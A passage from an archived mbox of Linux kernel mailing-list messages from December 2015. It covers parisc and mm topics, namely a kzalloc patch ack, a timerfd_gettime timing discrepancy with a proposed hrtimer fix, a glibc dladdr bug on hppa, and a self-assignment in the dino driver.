         o2xVP8FdGlnkEpKBANtGi+wqdBLf4LN/w+0buIpgsqJM2kIi3VGjRuTiN/3J+VHYG0FY
         Fouj0Sdq1kTuGEwvnutlVW2dAoEL8riNYUikPr28ctU6YkYe+/FDDayqMh2BtTIFf6uf
         hhqv5gm1mOA2mHlXg5Zz5crkkD7gZOoYK5ZbdK1YsZEfTc2GZSzuojGvfZGJevzZ4Hk3
         knMdyEqZeY1ny0Mrso3ek3/znnGgDdXntYxW/uMvhMrT5Ysgu1uEeyl+Gr4F7VcxMhJv
         Hq7w==
X-Gm-Message-State: ALoCoQnS83Yp2DubkZObhCLHe7onCaKhPckriqpn+6rNp2SFwZn5DykMi0hOlcYHDddAodMpTMtgaICbQKEaqSztz60Q5dlOW+p67fdHGiI4NEoP4Dl6CKUjGHZwgw7bGHBvFMbi+fDkNuZzyL3FaHFt2ai4s1rgxtK/Rnsg2EsPlBl3UWI/cBQzGGAj5DT36ejMy8R6/dtU
X-Received: by 10.50.8.42 with SMTP id o10mr6451417iga.80.1451338657742;
        Mon, 28 Dec 2015 13:37:37 -0800 (PST)
X-Received: by 10.50.8.42 with SMTP id o10mr6451389iga.80.1451338657266;
        Mon, 28 Dec 2015 13:37:37 -0800 (PST)
Original-Received: from kirsty.vergenet.net (kirsty.vergenet.net. [202.4.237.240])
        by mx.google.com with ESMTP id q80si19430813ioe.162.2015.12.28.13.37.36
        for <linux-mm@kvack.org>;
        Mon, 28 Dec 2015 13:37:36 -0800 (PST)
Received-SPF: pass (google.com: domain of horms@verge.net.au designates 202.4.237.240 as permitted sender) client-ip=202.4.237.240;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of horms@verge.net.au designates 202.4.237.240 as permitted sender) smtp.mailfrom=horms@verge.net.au;
       dkim=pass header.i=@verge.net.au
Original-Received: from penelope.kanocho.kobe.vergenet.net (58-6-44-103.dyn.iinet.net.au [58.6.44.103])
	by kirsty.vergenet.net (Postfix) with ESMTPSA id A2F9225B755;
	Tue, 29 Dec 2015 08:37:33 +1100 (AEDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=verge.net.au; s=mail;
	t=1451338653; bh=LtndgX3ghmTjXWMWG1Wzgp4+h8VZPsbnWmlyaMCT9f0=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To:From;
	b=S59o+qNvquyKXGK2RtKLhPUmd4XOs20/vuA5fQqgVvYd+o++CjxhvEdGGf3G2mszb
	 keMvInrDYsnTM4w6T6L5FoAaMUVvX4Xdu2QT0lSJJoJpxAMwyNIjlBLpTbvtJ9kFI4
	 MZLmZUF0eSqZbfcX/M9Cl6bO7G/LfwTss9BaraD0=
Original-Received: by penelope.kanocho.kobe.vergenet.net (Postfix, from userid 7100)
	id 68B58620D3; Tue, 29 Dec 2015 08:37:33 +1100 (AEDT)
Content-Disposition: inline
In-Reply-To: <1451081365-15190-9-git-send-email-toshi.kani@hpe.com>
Organisation: Horms Solutions Ltd.
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:143703 gmane.linux.kernel.cross-arch:30012 gmane.linux.kernel:2115841 gmane.linux.acpi.devel:80764 gmane.linux.ports.parisc:26286 gmane.linux.ports.sh.devel:52460
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/143703>

On Fri, Dec 25, 2015 at 03:09:18PM -0700, Toshi Kani wrote:
> I/O resource descriptor, 'desc' added to struct resource, needs
> to be initialized to zero by default.  Some drivers call kmalloc()
> to allocate a resource entry, but does not initialize it to zero
> by memset().  Change these drivers to call kzalloc(), instead.
> 
> Cc: linux-acpi@vger.kernel.org
> Cc: linux-parisc@vger.kernel.org
> Cc: linux-sh@vger.kernel.org
> Signed-off-by: Toshi Kani <toshi.kani@hpe.com>
> ---
>  drivers/acpi/acpi_platform.c       |    2 +-
>  drivers/parisc/eisa_enumerator.c   |    4 ++--
>  drivers/rapidio/rio.c              |    8 ++++----
>  drivers/sh/superhyway/superhyway.c |    2 +-
>  4 files changed, 8 insertions(+), 8 deletions(-)

drivers/sh/ portion:

Acked-by: Simon Horman <horms+renesas@verge.net.au>

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:38:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:38:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:38:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: timerfd_settime/timerfd_gettime issue ?
Date: Tue, 29 Dec 2015 10:44:35 +0100 (CET)
Lines: 46
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.11.1512291027570.28591@nanos>
References: <567E8766.6020707@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1451382336 9656 80.91.229.3 (29 Dec 2015 09:45:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 29 Dec 2015 09:45:36 +0000 (UTC)
Cc: Linux Kernel Development <linux-kernel@vger.kernel.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 29 10:45:34 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aDqqS-00038b-DJ
	for glpp-linux-parisc@plane.gmane.org; Tue, 29 Dec 2015 10:45:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751198AbbL2Jpb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 Dec 2015 04:45:31 -0500
Original-Received: from www.linutronix.de ([62.245.132.108]:42017 "EHLO
	Galois.linutronix.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750906AbbL2Jpb (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 Dec 2015 04:45:31 -0500
Original-Received: from localhost ([127.0.0.1])
	by Galois.linutronix.de with esmtps (TLS1.0:DHE_RSA_AES_256_CBC_SHA1:256)
	(Exim 4.80)
	(envelope-from <tglx@linutronix.de>)
	id 1aDqqP-0006Ba-7W; Tue, 29 Dec 2015 10:45:29 +0100
In-Reply-To: <567E8766.6020707@gmx.de>
User-Agent: Alpine 2.11 (DEB 23 2013-08-11)
X-Linutronix-Spam-Score: -1.0
X-Linutronix-Spam-Level: -
X-Linutronix-Spam-Status: No , -1.0 points, 5.0 required,  ALL_TRUSTED=-1,SHORTCIRCUIT=-0.0001
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26289 gmane.linux.kernel:2116031
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26289>

Helge,

On Sat, 26 Dec 2015, Helge Deller wrote:

> I see a strange behavior on the parisc platform, for which I'm not sure if
> it's intended or if there is a bug somewhere.

> The program calls timerfd_settime() and sets a timer (e.g. sec=0, nsec=100000000).
> Directly after setting the timer it calls timerfd_gettime() and receives
> (sec=0, nsec=103914413).
> The second nsec is higher than the initial nsec value which was set.
> 
> Does timerfd_settime() maybe tries to add the initial time it takes to start
> the timer?
>
> Any idea or hint?

Yes. This is a fallout from the power aware batching magic. Interesting that
nobody noticed this within 7 years.

Does the patch below fix your issue?

Thanks,

	tglx

8<----------------

diff --git a/include/linux/hrtimer.h b/include/linux/hrtimer.h
index 76dd4f0da5ca..0f4a3e8734f1 100644
--- a/include/linux/hrtimer.h
+++ b/include/linux/hrtimer.h
@@ -268,7 +268,7 @@ static inline s64 hrtimer_get_expires_ns(const struct hrtimer *timer)
 
 static inline ktime_t hrtimer_expires_remaining(const struct hrtimer *timer)
 {
-	return ktime_sub(timer->node.expires, timer->base->get_time());
+	return ktime_sub(timer->_softexpires, timer->base->get_time());
 }
 
 static inline ktime_t hrtimer_cb_get_time(struct hrtimer *timer)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: dladdr returns wrong names on hppa
Date: Tue, 29 Dec 2015 13:35:19 -0500
Lines: 42
Approved: news@gmane.org
Message-ID: <05E7B0DC-DFD7-4B04-B6DE-DF20E8B64B83@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1451414159 11245 80.91.229.3 (29 Dec 2015 18:35:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 29 Dec 2015 18:35:59 +0000 (UTC)
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 29 19:35:49 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aDz7b-0002wR-Ri
	for glpp-linux-parisc@plane.gmane.org; Tue, 29 Dec 2015 19:35:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753916AbbL2SfZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 Dec 2015 13:35:25 -0500
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:64888 "EHLO
	mtlfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1753754AbbL2SfW convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 Dec 2015 13:35:22 -0500
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20151229183520.YJLO23667.mtlfep02.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Tue, 29 Dec 2015 13:35:20 -0500
Original-Received: from [192.168.2.10] (really [70.53.62.134]) by mtlspm02.bell.net
          with ESMTP
          id <20151229183520.WSPE21879.mtlspm02.bell.net@[192.168.2.10]>;
          Tue, 29 Dec 2015 13:35:20 -0500
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020201.5682D268.00E9,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26290
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26290>

There was an old message from Guy Martin regarding dladdr not working on hppa:
http://permalink.gmane.org/gmane.linux.ports.hppa/1423

The Debian nss package fails to build because of a dladdr problem:
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=791537

I created a small test program and a glibc bug report:
https://sourceware.org/bugzilla/show_bug.cgi?id=19415

This code seems wrong on hppa:

ElfW(Addr)
_dl_lookup_address (const void *address)
{
  ElfW(Addr) addr = (ElfW(Addr)) address;
  struct fdesc_table *t;
  unsigned long int i;

  for (t = local.root; t != NULL; t = t->next)
    {
      i = (struct fdesc *) addr - &t->fdesc[0];
      if (i < t->first_unused && addr == (ElfW(Addr)) &t->fdesc[i])
        {
          addr = t->fdesc[i].ip;
          break;
        }
    }

  return addr;
}

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rasmus Villemoes <linux@rasmusvillemoes.dk>
Newsgroups: gmane.linux.ports.parisc
Subject: self-assignment in dino_card_setup
Date: Tue, 29 Dec 2015 21:03:32 +0100
Organization: D03
Lines: 16
Approved: news@gmane.org
Message-ID: <87k2nx3tuz.fsf@rasmusvillemoes.dk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1451419430 26317 80.91.229.3 (29 Dec 2015 20:03:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 29 Dec 2015 20:03:50 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 29 21:03:39 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aE0Ub-0003io-B8
	for glpp-linux-parisc@plane.gmane.org; Tue, 29 Dec 2015 21:03:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753806AbbL2UDg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 Dec 2015 15:03:36 -0500
Original-Received: from mail-wm0-f47.google.com ([74.125.82.47]:33506 "EHLO
	mail-wm0-f47.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753711AbbL2UDf (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 Dec 2015 15:03:35 -0500
Original-Received: by mail-wm0-f47.google.com with SMTP id f206so47795119wmf.0
        for <linux-parisc@vger.kernel.org>; Tue, 29 Dec 2015 12:03:34 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=rasmusvillemoes.dk; s=google;
        h=from:to:cc:subject:organization:date:message-id:user-agent
         :mime-version:content-type;
        bh=GuGIHicbD5Rm1VYXZeDHEBn6vaiMNUFqRidISiQfY00=;
        b=HoT/fDk7IS1rsi9NmoimMG4AbMA0YEvllw04HwHVFYg20K3yVv3RFOKMgnk9007DOi
         S6epWjc0XwjGebIggqRyiqm8CONKT2okEe8kh96nrD4rMacuVCSjG2sNGRJFU75ArdNz
         fTKRB+g3KMWXIwDxjE/FNCmAFvyMkF+vuntNQ=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:from:to:cc:subject:organization:date:message-id
         :user-agent:mime-version:content-type;
        bh=GuGIHicbD5Rm1VYXZeDHEBn6vaiMNUFqRidISiQfY00=;
        b=FGmP0PqicSQgtZak5v3PVlpL7vsHCaorLph4X4O8EQbVFBlaVsQuyMWY92K31vJhyZ
         cc5FFaUVkDkX/rHwY7v1ZfbrH4SQEZRWZsN84UWnCDiBgyzkGN+UMYKZP1x52Vcr6t+g
         jk96NiUEtpM3bJjb+NxFZg6dchD4MlYJoGZBa028+koCxHndVwU5eKgbUQRHR5WS4Ifk
         z0JUYDIshuk6XK0rP1DDTWAU4nveIsRY2K02uVZ3aznvO7WhX6O2pfYVTej018I44x/5
         2Ah12SXJWa+sVBqIhbzNCR2hDDuLLR3Ww4wswgOr2xzzmu6wIo6tphNsJh/lmJr1vXni
         hReA==
X-Gm-Message-State: ALoCoQmlOJkiy2gyE313/y0luTqwLQvfyxA8ThXJnxpx8oHw4a4ya1YQLeVFn5NhEiQThfeYkWDaehoBTKmBSyXxwuAuo3jetQ==
X-Received: by 10.194.204.232 with SMTP id lb8mr79220135wjc.112.1451419414291;
        Tue, 29 Dec 2015 12:03:34 -0800 (PST)
Original-Received: from morgan.rasmusvillemoes.dk ([84.238.70.226])
        by smtp.gmail.com with ESMTPSA id jo6sm62486265wjb.48.2015.12.29.12.03.33
        (version=TLS1_2 cipher=AES128-SHA bits=128/128);
        Tue, 29 Dec 2015 12:03:33 -0800 (PST)
User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/24.3 (gnu/linux)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26291
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26291>

Line 474 of drivers/parisc/dino.c reads

        res->name = dino_dev->hba.lmmio_space.name;

but res is &dino_dev->hba.lmmio_space, so this seems to just assign NULL
again to res->name. Presumably the allocation of <= 128 bytes never
fails, but I wonder what the purpose was, and if the confusing else
branch couldn't just be deleted (and then one should just do res->name =
kmemdup(name, size+1, GFP_KERNEL); and delete the if as well).

Rasmus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: timerfd_settime/timerfd_gettime issue ?
Date: Tue, 29 Dec 2015 21:13:30 +0100
Lines: 48
Approved: news@gmane.org
Message-ID: <5682E96A.5040008@gmx.de>
References: <567E8766.6020707@gmx.de>
 <alpine.DEB.2.11.1512291027570.28591@nanos>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1451420031 3025 80.91.229.3 (29 Dec 2015 20:13:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 29 Dec 2015 20:13:51 +0000 (UTC)
Cc: Linux Kernel Development <linux-kernel@vger.kernel.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Thomas Gleixner <tglx@linutronix.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 29 21:13:43 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aE0eL-0003sr-H0
	for glpp-linux-parisc@plane.gmane.org; Tue, 29 Dec 2015 21:13:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753718AbbL2UNk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 Dec 2015 15:13:40 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:58224 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753612AbbL2UNj (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 Dec 2015 15:13:39 -0500
Original-Received: from [192.168.20.60] ([92.203.62.82]) by mail.gmx.com (mrgmx001)
 with ESMTPSA (Nemesis) id 0MRoyH-1agllK3Isb-00SxSP; Tue, 29 Dec 2015 21:13:31
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <alpine.DEB.2.11.1512291027570.28591@nanos>
X-Provags-ID: V03:K0:xEcHwZm09lpi9rCTb5YTRBRFi9lR5MIG9/fZRwW3fCN1qNYQ6iB
 OHo5bALLS96mYymxJmr0y/K7rVNTKH53geHgcjIbfhLhZHvtnZoKMNGN9wox1qZ3LOTQ6xB
 WIFP3IVB4xKL298/LGqnRlIJrEBuw5gTYcTCJLNfL88kX9BAR01+ZHg08UeG16aQC7VKsd7
 UlNJz15Is5QODiupU4yEQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:g+k61IKeyqA=:fGfh88nFgZl6ZJ6IygWO0J
 vgy6J2vKSeFlgiPctftUPLnahqroa2BkqAWpXq1K4dhE08wwi5lcUFOTo5t4P5aLkPOuqOHP3
 Md55nEeBKFXhSUVNJ6MHfTRz7F20skhK7PpOaN9maNZCpfEWVaMM8g2PclcJusW2druHWX38Y
 pAGGdpvyE7psE6dcYp8tBe2fLyGxjlYuYgDbEtLq8h4l6X0SCKT5DvjAlyaMkBG8hme0ixCIa
 C4zqO4V4GWekDcGjtGEaPPTmCjcir8gkyK5T3YejXZPlAKJlRSDmmbdis9Fu5bdHPXzVG987w
 NgyyXvdyeyLIc9zgpmA7XREYyyLiPgJAOXpR29b7uijuD06eE0kXd5j0wHIYDCOugTH4F/JUp
 ZjNvdKQuFUsZuYEseH31IYfs+xQAK+fqR6rccL60Xt80EcA0Ut+uQzlg+k3CamG3SNDElrK7u
 j2kwhoqgvUZ1B6KQYJRPwx/b8XGi090fqHuB+X+fjgmaylWnV4+IwgdlQFaxVUMuQHgcSjT2e
 JZ5DeKiJyU0UoSN9WVNw/YtzQFtuSOYd+PEQQTPuMoyJc/g6Ltq8lKM04Ltm9Vpu8mvJCSZ1w
 HSH5i36mO6DQPJntbf9+f1fIy2Q5VmFatEaA6AVKDY3+uDfkCRZFf00MkuLNQsBKxpIYv2hhe
 DDWTlrMM44zuP6qs5x6w7NexR7Mfzo3CftCLsux5H9cBDijqVevdNMx/bFJQtt3axbG2QDM4K
 oy+c7WPUx7pKMM+vw/MGq67F2Aoz5BLeXqa076EO+wEKpKsalAXnAL6sy7k6lKAZC3DfQ6fu 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26292 gmane.linux.kernel:2116233
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26292>

On 29.12.2015 10:44, Thomas Gleixner wrote:
> On Sat, 26 Dec 2015, Helge Deller wrote:
>> I see a strange behavior on the parisc platform, for which I'm not sure if
>> it's intended or if there is a bug somewhere.
> 
>> The program calls timerfd_settime() and sets a timer (e.g. sec=0, nsec=100000000).
>> Directly after setting the timer it calls timerfd_gettime() and receives
>> (sec=0, nsec=103914413).
>> The second nsec is higher than the initial nsec value which was set.
>>
>> Does timerfd_settime() maybe tries to add the initial time it takes to start
>> the timer?
>>
>> Any idea or hint?
> 
> Yes. This is a fallout from the power aware batching magic. Interesting that
> nobody noticed this within 7 years.
> 
> Does the patch below fix your issue?

No, the patch below doesn't help.

I still see:
[  644.916000] timerfd_settime: interval (sec=0, nsec=100000000) it_value (sec=0, nsec=100000000) 
[  645.024000] timerfd_gettime: interval (sec=0, nsec=100000000) it_value (sec=0, nsec=103029949) 

Helge


> diff --git a/include/linux/hrtimer.h b/include/linux/hrtimer.h
> index 76dd4f0da5ca..0f4a3e8734f1 100644
> --- a/include/linux/hrtimer.h
> +++ b/include/linux/hrtimer.h
> @@ -268,7 +268,7 @@ static inline s64 hrtimer_get_expires_ns(const struct hrtimer *timer)
>  
>  static inline ktime_t hrtimer_expires_remaining(const struct hrtimer *timer)
>  {
> -	return ktime_sub(timer->node.expires, timer->base->get_time());
> +	return ktime_sub(timer->_softexpires, timer->base->get_time());
>  }
>  
>  static inline ktime_t hrtimer_cb_get_time(struct hrtimer *timer)

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: self-assignment in dino_card_setup
Date: Tue, 29 Dec 2015 21:22:35 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <5682EB8B.30308@gmx.de>
References: <87k2nx3tuz.fsf@rasmusvillemoes.dk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1451420575 11277 80.91.229.3 (29 Dec 2015 20:22:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 29 Dec 2015 20:22:55 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Rasmus Villemoes <linux@rasmusvillemoes.dk>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 29 21:22:44 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aE0n5-0001Mg-GS
	for glpp-linux-parisc@plane.gmane.org; Tue, 29 Dec 2015 21:22:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753718AbbL2UWm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 Dec 2015 15:22:42 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:59753 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753689AbbL2UWm (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 Dec 2015 15:22:42 -0500
Original-Received: from [192.168.20.60] ([92.203.62.82]) by mail.gmx.com (mrgmx102)
 with ESMTPSA (Nemesis) id 0MBIAz-1aO9fv0gZ3-00AETf; Tue, 29 Dec 2015 21:22:38
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <87k2nx3tuz.fsf@rasmusvillemoes.dk>
X-Provags-ID: V03:K0:T1kNfF/zpxFssYSRMGLnU2sG0bMwA8v84al7Wd60P7BfYndfR33
 U1GT7/8jSNJgtOWZxAqb/oTKsVoht2GmSoqkDtWbmCXRmLe3SHmIVGyZ7hWzLwd2Fb2kS9d
 h9x7nlhJ3xEmDlWhGjEm8Cm4CZUMETBppMHXX5DRBMaAqmcYIfPcbdPEuX2iASOwx8n3y5K
 ESCMZ//pc6gUMYGMeyJKw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:/q2zazvLkxk=:yIAw+0ablOSM0id1Gx7kYm
 zZgl8PVQziyJoCwhyQu2og0d0/nV1VXklr1eJDMCwVbOE5ExNaPvScekwpBgH04qHCGFg+Syv
 qS+Nfs3NlY0pKeRrhRcaFKSZ1cwA968GR8OzRbitb9cHC3VZULeEVxJMd0Fd/nrDrorYSiLx/
 aVivlMqsgZR0tWUSf1ntz0BfIntJlRxPTstJP99Pr9XtM1JBGUfm0K4Ve4HijMvD7UabW3FcB
 piskRrfsbN9/iD0YbgNrCJ4ZgJGmHxpgYSSi+0CRns/FbPrNRRPaNsY4/ZbCbdBf38a3S5l6j
 zsZ+TBU3OM7Ik4l1GvW/vTpZiVzIVUVNHZpR33W3MAAxfVTM8F4aPRxNoEWJZWP2oMq1+RLB1
 qQcH9MOi84lB2CkmGBFAVS20AofRDL3yBOe+/ERH4g8sqiiIXv/NrkmvNPC4gH/01ocGzpkF1
 viRiseW2UcJ5BWiOheA2Ym3GRu8HehDngd8mEG1dWrWJubV5xlbZyfRkjP34UZbSBkn1YKmmI
 8MNUknhkgNBB26ls41PyQO0RmOVGVhpv6HynR4HFvBl9C5wfFSBgbXY5wNO+odk0PP7ozj8zC
 LCsoQ1r9tG31Itffc9BDlXpzbK459Xg7SP/RHcvhhJUT5/w4Fxisfk7/NGZv/yIjGvSgJUFC+
 WhfS1BU5VwTAFEFfUStVY6f1X5pGK31HPWcZfWbXejCm7xF7Jqi9vyOyTXHVX0e/JCofAfPVk
 kSzMT2HhXt9ttBq4vSHC9fSvKGse147u74XRXfRVK9TqkeYq91uc7i7cxc1cv2o+fyEmEV7U 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26293
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26293>

Hi Rasmus,

On 29.12.2015 21:03, Rasmus Villemoes wrote:
